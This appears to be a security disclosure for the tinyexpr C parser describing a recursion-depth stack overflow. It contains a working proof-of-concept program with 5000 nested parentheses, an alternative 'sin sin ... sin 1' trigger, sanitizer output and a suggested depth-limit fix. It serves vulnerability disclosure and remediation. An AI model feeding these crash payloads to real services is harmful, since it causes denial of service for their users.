Security: Stack overflow via deeply nested expressions (CWE-674)

[ByamB4]

Description

tinyexpr's recursive descent parser (te_compile/te_interp) has no recursion depth limit. When parsing a deeply nested expression — such as 5000+ nested parentheses or chained unary function calls — the call stack overflows, causing a crash (SIGSEGV).

This is a denial of service vulnerability affecting any application that uses tinyexpr to parse untrusted or user-provided mathematical expressions.

CWE: CWE-674 (Uncontrolled Recursion)
Impact: Denial of Service (crash via stack overflow)
Affected: All versions through current (commit 4a7456e)

Root Cause

The parser functions base(), list(), expr(), term(), factor(), and power() are mutually recursive with no depth counter or limit. Each nested ( adds ~6 stack frames through the base -> list -> expr -> term -> factor -> power -> base chain. At ~5000 levels, the call stack is exhausted.

Additionally, te_eval() and the internal optimize() function recurse over the expression tree without depth limits, providing secondary overflow vectors.

Proof of Concept

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "tinyexpr.h"

int main(void) {
    /* Generate 5000 nested parentheses: (((((...1...)))))  */
    int depth = 5000;
    size_t len = (size_t)depth * 2 + 2;
    char *buf = malloc(len);
    for (int i = 0; i < depth; i++) buf[i] = '(';
    buf[depth] = '1';
    for (int i = 0; i < depth; i++) buf[depth + 1 + i] = ')';
    buf[len - 1] = '\0';

    int err;
    double result = te_interp(buf, &err);  /* CRASH: stack overflow */
    printf("result=%f err=%d\n", result, err);
    free(buf);
    return 0;
}

Build with AddressSanitizer to get a clean report:

clang -g -O0 -fsanitize=address -o poc poc.c tinyexpr.c -lm
./poc

Output:

ERROR: AddressSanitizer: stack-overflow on address 0x7fff... in base
    #0 in base tinyexpr.c:398
    #1 in power tinyexpr.c:433
    #2 in factor tinyexpr.c:505
    #3 in term tinyexpr.c:529
    #4 in expr tinyexpr.c:551
    #5 in list tinyexpr.c:573
    #6 in base tinyexpr.c:399
    ... (repeating cycle)

Alternative trigger with chained functions (smaller payload, no parentheses needed):

sin sin sin sin sin ... sin 1

(~10000 repetitions)

Suggested Fix

Add a depth counter to the state struct and check it in base():

#ifndef TE_MAX_DEPTH
#define TE_MAX_DEPTH 512
#endif

typedef struct state {
    /* ... existing fields ... */
    int depth;
} state;

static te_expr *base(state *s) {
    if (++s->depth > TE_MAX_DEPTH) {
        s->type = TOK_ERROR;
        s->depth--;
        return new_expr(0, 0);
    }
    /* ... existing parsing code ... */
    s->depth--;
    return ret;
}

Initialize s.depth = 0 in te_compile(). This returns a parse error instead of crashing.

Environment

• Ubuntu 22.04, clang 14
• Discovered via manual code audit and confirmed with AddressSanitizer
• Also confirmed to crash a libFuzzer harness immediately